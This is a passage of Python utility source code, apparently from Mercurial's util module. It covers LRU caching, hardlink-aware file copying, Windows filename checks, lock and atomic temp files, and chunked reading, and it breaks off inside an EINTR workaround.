         # But let's keep it simple unless it is a performance problem.
         for i in range(len(self._cache)):
             result.insert(n.key, n.value, cost=n.cost)
             n = n.prev
 
         return result
 
     def popoldest(self):
         """Remove the oldest item from the cache.
 
         Returns the (key, value) describing the removed cache entry.
         """
         if not self._cache:
             return
 
         # Walk the linked list backwards starting at tail node until we hit
         # a non-empty node.
         n = self._head.prev
         while n.key is _notset:
             n = n.prev
 
         key, value = n.key, n.value
 
         # And remove it from the cache and mark it as empty.
         del self._cache[n.key]
         self.totalcost -= n.cost
         n.markempty()
 
         return key, value
 
     def _movetohead(self, node):
         """Mark a node as the newest, making it the new head.
 
         When a node is accessed, it becomes the freshest entry in the LRU
         list, which is denoted by self._head.
 
         Visually, let's make ``N`` the new head node (* denotes head):
 
             previous/oldest <-> head <-> next/next newest
 
             ----<->--- A* ---<->-----
             |                       |
             E <-> D <-> N <-> C <-> B
 
         To:
 
             ----<->--- N* ---<->-----
             |                       |
             E <-> D <-> C <-> B <-> A
 
         This requires the following moves:
 
            C.next = D  (node.prev.next = node.next)
            D.prev = C  (node.next.prev = node.prev)
            E.next = N  (head.prev.next = node)
            N.prev = E  (node.prev = head.prev)
            N.next = A  (node.next = head)
            A.prev = N  (head.prev = node)
         """
         head = self._head
         # C.next = D
         node.prev.next = node.next
         # D.prev = C
         node.next.prev = node.prev
         # N.prev = E
         node.prev = head.prev
         # N.next = A
         # It is tempting to do just "head" here, however if node is
         # adjacent to head, this will do bad things.
         node.next = head.prev.next
         # E.next = N
         node.next.prev = node
         # A.prev = N
         node.prev.next = node
 
         self._head = node
 
     def _addcapacity(self):
         """Add a node to the circular linked list.
 
         The new node is inserted before the head node.
         """
         head = self._head
         node = _lrucachenode()
         head.prev.next = node
         node.prev = head.prev
         node.next = head
         head.prev = node
         self._size += 1
         return node
 
     def _enforcecostlimit(self):
         # This should run after an insertion. It should only be called if total
         # cost limits are being enforced.
         # The most recently inserted node is never evicted.
         if len(self) <= 1 or self.totalcost <= self.maxcost:
             return
 
         # This is logically equivalent to calling popoldest() until we
         # free up enough cost. We don't do that since popoldest() needs
         # to walk the linked list and doing this in a loop would be
         # quadratic. So we find the first non-empty node and then
         # walk nodes until we free up enough capacity.
         #
         # If we only removed the minimum number of nodes to free enough
         # cost at insert time, chances are high that the next insert would
         # also require pruning. This would effectively constitute quadratic
         # behavior for insert-heavy workloads. To mitigate this, we set a
         # target cost that is a percentage of the max cost. This will tend
         # to free more nodes when the high water mark is reached, which
         # lowers the chances of needing to prune on the subsequent insert.
         targetcost = int(self.maxcost * 0.75)
 
         n = self._head.prev
         while n.key is _notset:
             n = n.prev
 
         while len(self) > 1 and self.totalcost > targetcost:
             del self._cache[n.key]
             self.totalcost -= n.cost
             n.markempty()
             n = n.prev
 
 
 def lrucachefunc(func):
     '''cache most recent results of function calls'''
     cache = {}
     order = collections.deque()
     if func.__code__.co_argcount == 1:
 
         def f(arg):
             if arg not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[arg] = func(arg)
             else:
                 order.remove(arg)
             order.append(arg)
             return cache[arg]
 
     else:
 
         def f(*args):
             if args not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[args] = func(*args)
             else:
                 order.remove(args)
             order.append(args)
             return cache[args]
 
     return f
 
 
 class propertycache(object):
     def __init__(self, func):
         self.func = func
         self.name = func.__name__
 
     def __get__(self, obj, type=None):
         result = self.func(obj)
         self.cachevalue(obj, result)
         return result
 
     def cachevalue(self, obj, value):
         # __dict__ assignment required to bypass __setattr__ (eg: repoview)
         obj.__dict__[self.name] = value
 
 
 def clearcachedproperty(obj, prop):
     '''clear a cached property value, if one has been set'''
     prop = pycompat.sysstr(prop)
     if prop in obj.__dict__:
         del obj.__dict__[prop]
 
 
 def increasingchunks(source, min=1024, max=65536):
     '''return no less than min bytes per chunk while data remains,
     doubling min after each chunk until it reaches max'''
 
     def log2(x):
         if not x:
             return 0
         i = 0
         while x:
             x >>= 1
             i += 1
         return i - 1
 
     buf = []
     blen = 0
     for chunk in source:
         buf.append(chunk)
         blen += len(chunk)
         if blen >= min:
             if min < max:
                 min = min << 1
                 nmin = 1 << log2(blen)
                 if nmin > min:
                     min = nmin
                 if min > max:
                     min = max
             yield b''.join(buf)
             blen = 0
             buf = []
     if buf:
         yield b''.join(buf)
 
 
 def always(fn):
     return True
 
 
 def never(fn):
     return False
 
 
 def nogc(func):
     """disable garbage collector
 
     Python's garbage collector triggers a GC each time a certain number of
     container objects (the number being defined by gc.get_threshold()) are
     allocated even when marked not to be tracked by the collector. Tracking has
     no effect on when GCs are triggered, only on what objects the GC looks
     into. As a workaround, disable GC while building complex (huge)
     containers.
 
     This garbage collector issue have been fixed in 2.7. But it still affect
     CPython's performance.
     """
 
     def wrapper(*args, **kwargs):
         gcenabled = gc.isenabled()
         gc.disable()
         try:
             return func(*args, **kwargs)
         finally:
             if gcenabled:
                 gc.enable()
 
     return wrapper
 
 
 if pycompat.ispypy:
     # PyPy runs slower with gc disabled
     nogc = lambda x: x
 
 
 def pathto(root, n1, n2):
     '''return the relative path from one place to another.
     root should use os.sep to separate directories
     n1 should use os.sep to separate directories
     n2 should use "/" to separate directories
     returns an os.sep-separated path.
 
     If n1 is a relative path, it's assumed it's
     relative to root.
     n2 should always be relative to root.
     '''
     if not n1:
         return localpath(n2)
     if os.path.isabs(n1):
         if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
             return os.path.join(root, localpath(n2))
         n2 = b'/'.join((pconvert(root), n2))
     a, b = splitpath(n1), n2.split(b'/')
     a.reverse()
     b.reverse()
     while a and b and a[-1] == b[-1]:
         a.pop()
         b.pop()
     b.reverse()
     return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
 
 
 # the location of data files matching the source code
 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != b'macosx_app':
     # executable version (py2exe) doesn't support __file__
     datapath = os.path.dirname(pycompat.sysexecutable)
 else:
     datapath = os.path.dirname(pycompat.fsencode(__file__))
 
 i18n.setdatapath(datapath)
 
 
 def checksignature(func):
     '''wrap a function with code to check for calling errors'''
 
     def check(*args, **kwargs):
         try:
             return func(*args, **kwargs)
         except TypeError:
             if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
                 raise error.SignatureError
             raise
 
     return check
 
 
 # a whilelist of known filesystems where hardlink works reliably
 _hardlinkfswhitelist = {
     b'apfs',
     b'btrfs',
     b'ext2',
     b'ext3',
     b'ext4',
     b'hfs',
     b'jfs',
     b'NTFS',
     b'reiserfs',
     b'tmpfs',
     b'ufs',
     b'xfs',
     b'zfs',
 }
 
 
 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
     '''copy a file, preserving mode and optionally other stat info like
     atime/mtime
 
     checkambig argument is used with filestat, and is useful only if
     destination file is guarded by any lock (e.g. repo.lock or
     repo.wlock).
 
     copystat and checkambig should be exclusive.
     '''
     assert not (copystat and checkambig)
     oldstat = None
     if os.path.lexists(dest):
         if checkambig:
             oldstat = checkambig and filestat.frompath(dest)
         unlink(dest)
     if hardlink:
         # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
         # unless we are confident that dest is on a whitelisted filesystem.
         try:
             fstype = getfstype(os.path.dirname(dest))
         except OSError:
             fstype = None
         if fstype not in _hardlinkfswhitelist:
             hardlink = False
     if hardlink:
         try:
             oslink(src, dest)
             return
         except (IOError, OSError):
             pass  # fall back to normal copy
     if os.path.islink(src):
         os.symlink(os.readlink(src), dest)
         # copytime is ignored for symlinks, but in general copytime isn't needed
         # for them anyway
     else:
         try:
             shutil.copyfile(src, dest)
             if copystat:
                 # copystat also copies mode
                 shutil.copystat(src, dest)
             else:
                 shutil.copymode(src, dest)
                 if oldstat and oldstat.stat:
                     newstat = filestat.frompath(dest)
                     if newstat.isambig(oldstat):
                         # stat of copied file is ambiguous to original one
                         advanced = (
                             oldstat.stat[stat.ST_MTIME] + 1
                         ) & 0x7FFFFFFF
                         os.utime(dest, (advanced, advanced))
         except shutil.Error as inst:
             raise error.Abort(str(inst))
 
 
 def copyfiles(src, dst, hardlink=None, progress=None):
     """Copy a directory tree using hardlinks if possible."""
     num = 0
 
     def settopic():
         if progress:
             progress.topic = _(b'linking') if hardlink else _(b'copying')
 
     if os.path.isdir(src):
         if hardlink is None:
             hardlink = (
                 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
             )
         settopic()
         os.mkdir(dst)
         for name, kind in listdir(src):
             srcname = os.path.join(src, name)
             dstname = os.path.join(dst, name)
             hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
             num += n
     else:
         if hardlink is None:
             hardlink = (
                 os.stat(os.path.dirname(src)).st_dev
                 == os.stat(os.path.dirname(dst)).st_dev
             )
         settopic()
 
         if hardlink:
             try:
                 oslink(src, dst)
             except (IOError, OSError):
                 hardlink = False
                 shutil.copy(src, dst)
         else:
             shutil.copy(src, dst)
         num += 1
         if progress:
             progress.increment()
 
     return hardlink, num
 
 
 _winreservednames = {
     b'con',
     b'prn',
     b'aux',
     b'nul',
     b'com1',
     b'com2',
     b'com3',
     b'com4',
     b'com5',
     b'com6',
     b'com7',
     b'com8',
     b'com9',
     b'lpt1',
     b'lpt2',
     b'lpt3',
     b'lpt4',
     b'lpt5',
     b'lpt6',
     b'lpt7',
     b'lpt8',
     b'lpt9',
 }
 _winreservedchars = b':*?"<>|'
 
 
 def checkwinfilename(path):
     r'''Check that the base-relative path is a valid filename on Windows.
     Returns None if the path is ok, or a UI string describing the problem.
 
     >>> checkwinfilename(b"just/a/normal/path")
     >>> checkwinfilename(b"foo/bar/con.xml")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/con.xml/bar")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/xml.con")
     >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
     "filename contains 'AUX', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/bla:.txt")
     "filename contains ':', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/b\07la.txt")
     "filename contains '\\x07', which is invalid on Windows"
     >>> checkwinfilename(b"foo/bar/bla ")
     "filename ends with ' ', which is not allowed on Windows"
     >>> checkwinfilename(b"../bar")
     >>> checkwinfilename(b"foo\\")
     "filename ends with '\\', which is invalid on Windows"
     >>> checkwinfilename(b"foo\\/bar")
     "directory name ends with '\\', which is invalid on Windows"
     '''
     if path.endswith(b'\\'):
         return _(b"filename ends with '\\', which is invalid on Windows")
     if b'\\/' in path:
         return _(b"directory name ends with '\\', which is invalid on Windows")
     for n in path.replace(b'\\', b'/').split(b'/'):
         if not n:
             continue
         for c in _filenamebytestr(n):
             if c in _winreservedchars:
                 return (
                     _(
                         b"filename contains '%s', which is reserved "
                         b"on Windows"
                     )
                     % c
                 )
             if ord(c) <= 31:
                 return _(
                     b"filename contains '%s', which is invalid on Windows"
                 ) % stringutil.escapestr(c)
         base = n.split(b'.')[0]
         if base and base.lower() in _winreservednames:
             return (
                 _(b"filename contains '%s', which is reserved on Windows")
                 % base
             )
         t = n[-1:]
         if t in b'. ' and n not in b'..':
             return (
                 _(
                     b"filename ends with '%s', which is not allowed "
                     b"on Windows"
                 )
                 % t
             )
 
 
 if pycompat.iswindows:
     checkosfilename = checkwinfilename
     timer = time.clock
 else:
     checkosfilename = platform.checkosfilename
     timer = time.time
 
 if safehasattr(time, "perf_counter"):
     timer = time.perf_counter
 
 
 def makelock(info, pathname):
     """Create a lock file atomically if possible
 
     This may leave a stale lock file if symlink isn't supported and signal
     interrupt is enabled.
     """
     try:
         return os.symlink(info, pathname)
     except OSError as why:
         if why.errno == errno.EEXIST:
             raise
     except AttributeError:  # no symlink in os
         pass
 
     flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
     ld = os.open(pathname, flags)
     os.write(ld, info)
     os.close(ld)
 
 
 def readlock(pathname):
     try:
         return readlink(pathname)
     except OSError as why:
         if why.errno not in (errno.EINVAL, errno.ENOSYS):
             raise
     except AttributeError:  # no symlink in os
         pass
     with posixfile(pathname, b'rb') as fp:
         return fp.read()
 
 
 def fstat(fp):
     '''stat file object that may not have fileno method.'''
     try:
         return os.fstat(fp.fileno())
     except AttributeError:
         return os.stat(fp.name)
 
 
 # File system features
 
 
 def fscasesensitive(path):
     """
     Return true if the given path is on a case-sensitive filesystem
 
     Requires a path (like /foo/.hg) ending with a foldable final
     directory component.
     """
     s1 = os.lstat(path)
     d, b = os.path.split(path)
     b2 = b.upper()
     if b == b2:
         b2 = b.lower()
         if b == b2:
             return True  # no evidence against case sensitivity
     p2 = os.path.join(d, b2)
     try:
         s2 = os.lstat(p2)
         if s2 == s1:
             return False
         return True
     except OSError:
         return True
 
 
 try:
     import re2
 
     _re2 = None
 except ImportError:
     _re2 = False
 
 
 class _re(object):
     def _checkre2(self):
         global _re2
         try:
             # check if match works, see issue3964
             _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
         except ImportError:
             _re2 = False
 
     def compile(self, pat, flags=0):
         '''Compile a regular expression, using re2 if possible
 
         For best performance, use only re2-compatible regexp features. The
         only flags from the re module that are re2-compatible are
         IGNORECASE and MULTILINE.'''
         if _re2 is None:
             self._checkre2()
         if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
             if flags & remod.IGNORECASE:
                 pat = b'(?i)' + pat
             if flags & remod.MULTILINE:
                 pat = b'(?m)' + pat
             try:
                 return re2.compile(pat)
             except re2.error:
                 pass
         return remod.compile(pat, flags)
 
     @propertycache
     def escape(self):
         '''Return the version of escape corresponding to self.compile.
 
         This is imperfect because whether re2 or re is used for a particular
         function depends on the flags, etc, but it's the best we can do.
         '''
         global _re2
         if _re2 is None:
             self._checkre2()
         if _re2:
             return re2.escape
         else:
             return remod.escape
 
 
 re = _re()
 
 _fspathcache = {}
 
 
 def fspath(name, root):
     '''Get name in the case stored in the filesystem
 
     The name should be relative to root, and be normcase-ed for efficiency.
 
     Note that this function is unnecessary, and should not be
     called, for case-sensitive filesystems (simply because it's expensive).
 
     The root should be normcase-ed, too.
     '''
 
     def _makefspathcacheentry(dir):
         return dict((normcase(n), n) for n in os.listdir(dir))
 
     seps = pycompat.ossep
     if pycompat.osaltsep:
         seps = seps + pycompat.osaltsep
     # Protect backslashes. This gets silly very quickly.
     seps.replace(b'\\', b'\\\\')
     pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
     dir = os.path.normpath(root)
     result = []
     for part, sep in pattern.findall(name):
         if sep:
             result.append(sep)
             continue
 
         if dir not in _fspathcache:
             _fspathcache[dir] = _makefspathcacheentry(dir)
         contents = _fspathcache[dir]
 
         found = contents.get(part)
         if not found:
             # retry "once per directory" per "dirstate.walk" which
             # may take place for each patches of "hg qpush", for example
             _fspathcache[dir] = contents = _makefspathcacheentry(dir)
             found = contents.get(part)
 
         result.append(found or part)
         dir = os.path.join(dir, part)
 
     return b''.join(result)
 
 
 def checknlink(testfile):
     '''check whether hardlink count reporting works properly'''
 
     # testfile may be open, so we need a separate file for checking to
     # work around issue2543 (or testfile may get lost on Samba shares)
     f1, f2, fp = None, None, None
     try:
         fd, f1 = pycompat.mkstemp(
             prefix=b'.%s-' % os.path.basename(testfile),
             suffix=b'1~',
             dir=os.path.dirname(testfile),
         )
         os.close(fd)
         f2 = b'%s2~' % f1[:-2]
 
         oslink(f1, f2)
         # nlinks() may behave differently for files on Windows shares if
         # the file is open.
         fp = posixfile(f2)
         return nlinks(f2) > 1
     except OSError:
         return False
     finally:
         if fp is not None:
             fp.close()
         for f in (f1, f2):
             try:
                 if f is not None:
                     os.unlink(f)
             except OSError:
                 pass
 
 
 def endswithsep(path):
     '''Check path ends with os.sep or os.altsep.'''
     return (
         path.endswith(pycompat.ossep)
         or pycompat.osaltsep
         and path.endswith(pycompat.osaltsep)
     )
 
 
 def splitpath(path):
     '''Split path by os.sep.
     Note that this function does not use os.altsep because this is
     an alternative of simple "xxx.split(os.sep)".
     It is recommended to use os.path.normpath() before using this
     function if need.'''
     return path.split(pycompat.ossep)
 
 
 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
     """Create a temporary file with the same contents from name
 
     The permission bits are copied from the original file.
 
     If the temporary file is going to be truncated immediately, you
     can use emptyok=True as an optimization.
 
     Returns the name of the temporary file.
     """
     d, fn = os.path.split(name)
     fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
     os.close(fd)
     # Temporary files are created with mode 0600, which is usually not
     # what we want.  If the original file already exists, just copy
     # its mode.  Otherwise, manually obey umask.
     copymode(name, temp, createmode, enforcewritable)
 
     if emptyok:
         return temp
     try:
         try:
             ifp = posixfile(name, b"rb")
         except IOError as inst:
             if inst.errno == errno.ENOENT:
                 return temp
             if not getattr(inst, 'filename', None):
                 inst.filename = name
             raise
         ofp = posixfile(temp, b"wb")
         for chunk in filechunkiter(ifp):
             ofp.write(chunk)
         ifp.close()
         ofp.close()
     except:  # re-raises
         try:
             os.unlink(temp)
         except OSError:
             pass
         raise
     return temp
 
 
 class filestat(object):
     """help to exactly detect change of a file
 
     'stat' attribute is result of 'os.stat()' if specified 'path'
     exists. Otherwise, it is None. This can avoid preparative
     'exists()' examination on client side of this class.
     """
 
     def __init__(self, stat):
         self.stat = stat
 
     @classmethod
     def frompath(cls, path):
         try:
             stat = os.stat(path)
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             stat = None
         return cls(stat)
 
     @classmethod
     def fromfp(cls, fp):
         stat = os.fstat(fp.fileno())
         return cls(stat)
 
     __hash__ = object.__hash__
 
     def __eq__(self, old):
         try:
             # if ambiguity between stat of new and old file is
             # avoided, comparison of size, ctime and mtime is enough
             # to exactly detect change of a file regardless of platform
             return (
                 self.stat.st_size == old.stat.st_size
                 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
                 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
             )
         except AttributeError:
             pass
         try:
             return self.stat is None and old.stat is None
         except AttributeError:
             return False
 
     def isambig(self, old):
         """Examine whether new (= self) stat is ambiguous against old one
 
         "S[N]" below means stat of a file at N-th change:
 
         - S[n-1].ctime  < S[n].ctime: can detect change of a file
         - S[n-1].ctime == S[n].ctime
           - S[n-1].ctime  < S[n].mtime: means natural advancing (*1)
           - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
           - S[n-1].ctime  > S[n].mtime: never occurs naturally (don't care)
         - S[n-1].ctime  > S[n].ctime: never occurs naturally (don't care)
 
         Case (*2) above means that a file was changed twice or more at
         same time in sec (= S[n-1].ctime), and comparison of timestamp
         is ambiguous.
 
         Base idea to avoid such ambiguity is "advance mtime 1 sec, if
         timestamp is ambiguous".
 
         But advancing mtime only in case (*2) doesn't work as
         expected, because naturally advanced S[n].mtime in case (*1)
         might be equal to manually advanced S[n-1 or earlier].mtime.
 
         Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
         treated as ambiguous regardless of mtime, to avoid overlooking
         by confliction between such mtime.
 
         Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
         S[n].mtime", even if size of a file isn't changed.
         """
         try:
             return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
         except AttributeError:
             return False
 
     def avoidambig(self, path, old):
         """Change file stat of specified path to avoid ambiguity
 
         'old' should be previous filestat of 'path'.
 
         This skips avoiding ambiguity, if a process doesn't have
         appropriate privileges for 'path'. This returns False in this
         case.
 
         Otherwise, this returns True, as "ambiguity is avoided".
         """
         advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
         try:
             os.utime(path, (advanced, advanced))
         except OSError as inst:
             if inst.errno == errno.EPERM:
                 # utime() on the file created by another user causes EPERM,
                 # if a process doesn't have appropriate privileges
                 return False
             raise
         return True
 
     def __ne__(self, other):
         return not self == other
 
 
 class atomictempfile(object):
     '''writable file object that atomically updates a file
 
     All writes will go to a temporary copy of the original file. Call
     close() when you are done writing, and atomictempfile will rename
     the temporary copy to the original name, making the changes
     visible. If the object is destroyed without being closed, all your
     writes are discarded.
 
     checkambig argument of constructor is used with filestat, and is
     useful only if target file is guarded by any lock (e.g. repo.lock
     or repo.wlock).
     '''
 
     def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
         self.__name = name  # permanent name
         self._tempname = mktempcopy(
             name,
             emptyok=(b'w' in mode),
             createmode=createmode,
             enforcewritable=(b'w' in mode),
         )
 
         self._fp = posixfile(self._tempname, mode)
         self._checkambig = checkambig
 
         # delegated methods
         self.read = self._fp.read
         self.write = self._fp.write
         self.seek = self._fp.seek
         self.tell = self._fp.tell
         self.fileno = self._fp.fileno
 
     def close(self):
         if not self._fp.closed:
             self._fp.close()
             filename = localpath(self.__name)
             oldstat = self._checkambig and filestat.frompath(filename)
             if oldstat and oldstat.stat:
                 rename(self._tempname, filename)
                 newstat = filestat.frompath(filename)
                 if newstat.isambig(oldstat):
                     # stat of changed file is ambiguous to original one
                     advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
                     os.utime(filename, (advanced, advanced))
             else:
                 rename(self._tempname, filename)
 
     def discard(self):
         if not self._fp.closed:
             try:
                 os.unlink(self._tempname)
             except OSError:
                 pass
             self._fp.close()
 
     def __del__(self):
         if safehasattr(self, '_fp'):  # constructor actually did something
             self.discard()
 
     def __enter__(self):
         return self
 
     def __exit__(self, exctype, excvalue, traceback):
         if exctype is not None:
             self.discard()
         else:
             self.close()
 
 
 def unlinkpath(f, ignoremissing=False, rmdir=True):
     """unlink and remove the directory if it is empty"""
     if ignoremissing:
         tryunlink(f)
     else:
         unlink(f)
     if rmdir:
         # try removing directories that might now be empty
         try:
             removedirs(os.path.dirname(f))
         except OSError:
             pass
 
 
 def tryunlink(f):
     """Attempt to remove a file, ignoring ENOENT errors."""
     try:
         unlink(f)
     except OSError as e:
         if e.errno != errno.ENOENT:
             raise
 
 
 def makedirs(name, mode=None, notindexed=False):
     """recursive directory creation with parent mode inheritance
 
     Newly created directories are marked as "not to be indexed by
     the content indexing service", if ``notindexed`` is specified
     for "write" mode access.
     """
     try:
         makedir(name, notindexed)
     except OSError as err:
         if err.errno == errno.EEXIST:
             return
         if err.errno != errno.ENOENT or not name:
             raise
         parent = os.path.dirname(os.path.abspath(name))
         if parent == name:
             raise
         makedirs(parent, mode, notindexed)
         try:
             makedir(name, notindexed)
         except OSError as err:
             # Catch EEXIST to handle races
             if err.errno == errno.EEXIST:
                 return
             raise
     if mode is not None:
         os.chmod(name, mode)
 
 
 def readfile(path):
     with open(path, b'rb') as fp:
         return fp.read()
 
 
 def writefile(path, text):
     with open(path, b'wb') as fp:
         fp.write(text)
 
 
 def appendfile(path, text):
     with open(path, b'ab') as fp:
         fp.write(text)
 
 
 class chunkbuffer(object):
     """Allow arbitrary sized chunks of data to be efficiently read from an
     iterator over chunks of arbitrary size."""
 
     def __init__(self, in_iter):
         """in_iter is the iterator that's iterating over the input chunks."""
 
         def splitbig(chunks):
             for chunk in chunks:
                 if len(chunk) > 2 ** 20:
                     pos = 0
                     while pos < len(chunk):
                         end = pos + 2 ** 18
                         yield chunk[pos:end]
                         pos = end
                 else:
                     yield chunk
 
         self.iter = splitbig(in_iter)
         self._queue = collections.deque()
         self._chunkoffset = 0
 
     def read(self, l=None):
         """Read L bytes of data from the iterator of chunks of data.
         Returns less than L bytes if the iterator runs dry.
 
         If size parameter is omitted, read everything"""
         if l is None:
             return b''.join(self.iter)
 
         left = l
         buf = []
         queue = self._queue
         while left > 0:
             # refill the queue
             if not queue:
                 target = 2 ** 18
                 for chunk in self.iter:
                     queue.append(chunk)
                     target -= len(chunk)
                     if target <= 0:
                         break
                 if not queue:
                     break
 
             # The easy way to do this would be to queue.popleft(), modify the
             # chunk (if necessary), then queue.appendleft(). However, for cases
             # where we read partial chunk content, this incurs 2 dequeue
             # mutations and creates a new str for the remaining chunk in the
             # queue. Our code below avoids this overhead.
 
             chunk = queue[0]
             chunkl = len(chunk)
             offset = self._chunkoffset
 
             # Use full chunk.
             if offset == 0 and left >= chunkl:
                 left -= chunkl
                 queue.popleft()
                 buf.append(chunk)
                 # self._chunkoffset remains at 0.
                 continue
 
             chunkremaining = chunkl - offset
 
             # Use all of unconsumed part of chunk.
             if left >= chunkremaining:
                 left -= chunkremaining
                 queue.popleft()
                 # offset == 0 is enabled by block above, so this won't merely
                 # copy via ``chunk[0:]``.
                 buf.append(chunk[offset:])
                 self._chunkoffset = 0
 
             # Partial chunk needed.
             else:
                 buf.append(chunk[offset : offset + left])
                 self._chunkoffset += left
                 left -= chunkremaining
 
         return b''.join(buf)
 
 
 def filechunkiter(f, size=131072, limit=None):
     """Create a generator that produces the data in the file size
     (default 131072) bytes at a time, up to optional limit (default is
     to read all data).  Chunks may be less than size bytes if the
     chunk is the last chunk in the file, or the file is a socket or
     some other type of file that sometimes reads less data than is
     requested."""
     assert size >= 0
     assert limit is None or limit >= 0
     while True:
         if limit is None:
             nbytes = size
         else:
             nbytes = min(limit, size)
         s = nbytes and f.read(nbytes)
         if not s:
             break
         if limit:
             limit -= len(s)
         yield s
 
 
 class cappedreader(object):
     """A file object proxy that allows reading up to N bytes.
 
     Given a source file object, instances of this type allow reading up to
     N bytes from that source file object. Attempts to read past the allowed
     limit are treated as EOF.
 
     It is assumed that I/O is not performed on the original file object
     in addition to I/O that is performed by this instance. If there is,
     state tracking will get out of sync and unexpected results will ensue.
     """
 
     def __init__(self, fh, limit):
         """Allow reading up to <limit> bytes from <fh>."""
         self._fh = fh
         self._left = limit
 
     def read(self, n=-1):
         if not self._left:
             return b''
 
         if n < 0:
             n = self._left
 
         data = self._fh.read(min(n, self._left))
         self._left -= len(data)
         assert self._left >= 0
 
         return data
 
     def readinto(self, b):
         res = self.read(len(b))
         if res is None:
             return None
 
         b[0 : len(res)] = res
         return len(res)
 
 
 def unitcountfn(*unittable):
     '''return a function that renders a readable count of some quantity'''
 
     def go(count):
         for multiplier, divisor, format in unittable:
             if abs(count) >= divisor * multiplier:
                 return format % (count / float(divisor))
         return unittable[-1][2] % count
 
     return go
 
 
 def processlinerange(fromline, toline):
     """Check that linerange <fromline>:<toline> makes sense and return a
     0-based range.
 
     >>> processlinerange(10, 20)
     (9, 20)
     >>> processlinerange(2, 1)
     Traceback (most recent call last):
         ...
     ParseError: line range must be positive
     >>> processlinerange(0, 5)
     Traceback (most recent call last):
         ...
     ParseError: fromline must be strictly positive
     """
     if toline - fromline < 0:
         raise error.ParseError(_(b"line range must be positive"))
     if fromline < 1:
         raise error.ParseError(_(b"fromline must be strictly positive"))
     return fromline - 1, toline
 
 
 bytecount = unitcountfn(
     (100, 1 << 30, _(b'%.0f GB')),
     (10, 1 << 30, _(b'%.1f GB')),
     (1, 1 << 30, _(b'%.2f GB')),
     (100, 1 << 20, _(b'%.0f MB')),
     (10, 1 << 20, _(b'%.1f MB')),
     (1, 1 << 20, _(b'%.2f MB')),
     (100, 1 << 10, _(b'%.0f KB')),
     (10, 1 << 10, _(b'%.1f KB')),
     (1, 1 << 10, _(b'%.2f KB')),
     (1, 1, _(b'%.0f bytes')),
 )
 
 
 class transformingwriter(object):
     """Writable file wrapper to transform data by function"""
 
     def __init__(self, fp, encode):
         self._fp = fp
         self._encode = encode
 
     def close(self):
         self._fp.close()
 
     def flush(self):
         self._fp.flush()
 
     def write(self, data):
         return self._fp.write(self._encode(data))
 
 
 # Matches a single EOL which can either be a CRLF where repeated CR
 # are removed or a LF. We do not care about old Macintosh files, so a
 # stray CR is an error.
 _eolre = remod.compile(br'\r*\n')
 
 
 def tolf(s):
     return _eolre.sub(b'\n', s)
 
 
 def tocrlf(s):
     return _eolre.sub(b'\r\n', s)
 
 
 def _crlfwriter(fp):
     return transformingwriter(fp, tocrlf)
 
 
 if pycompat.oslinesep == b'\r\n':
     tonativeeol = tocrlf
     fromnativeeol = tolf
     nativeeolwriter = _crlfwriter
 else:
     tonativeeol = pycompat.identity
     fromnativeeol = pycompat.identity
     nativeeolwriter = pycompat.identity
 
 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
     3,
     0,
 ):
     # There is an issue in CPython that some IO methods do not handle EINTR
     # correctly. The following table shows what CPython version (and functions)
     # are affected (buggy: has the EINTR bug, okay: otherwise):
     #
     #                | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
     #   --------------------------------------------------
     #    fp.__iter__ | buggy   | buggy           | okay
     #    fp.read*    | buggy   | okay [1]        | okay
     #
     # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
     #
     # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
     # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
     #
     # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
     # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
     # CPython 2, because CPython 2 maintains an internal readahead buffer for
     # fp.__iter__ but not other fp.read* methods.
     #
     # On modern systems like Linux, the "read" syscall cannot be interrupted
     # when reading "fast" files like on-disk files. So the EINTR issue only
     # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
     # files approximately as "fast" files and use the fast (unsafe) code path,
     # to minimize the performance impact.
     if sys.version_info >= (2, 7, 4):
         # fp.readline deals with EINTR correctly, use it as a workaround.
         def _safeiterfile(fp):
             return iter(fp.readline, b'')
 
     else:
         # fp.read* are broken too, manually deal with EINTR in a stupid way.
         # note: this may block longer than necessary because of bufsize.
         def _safeiterfile(fp, bufsize=4096):
             fd = fp.fileno()
             line = b''
             while True:
                 try:
                     buf = os.read(fd, bufsize)
                 except OSError as ex:
                     # os.read only raises EINTR before any data is read
                     if ex.errno == errno.EINTR:
                         continue
                     else:
                         raise
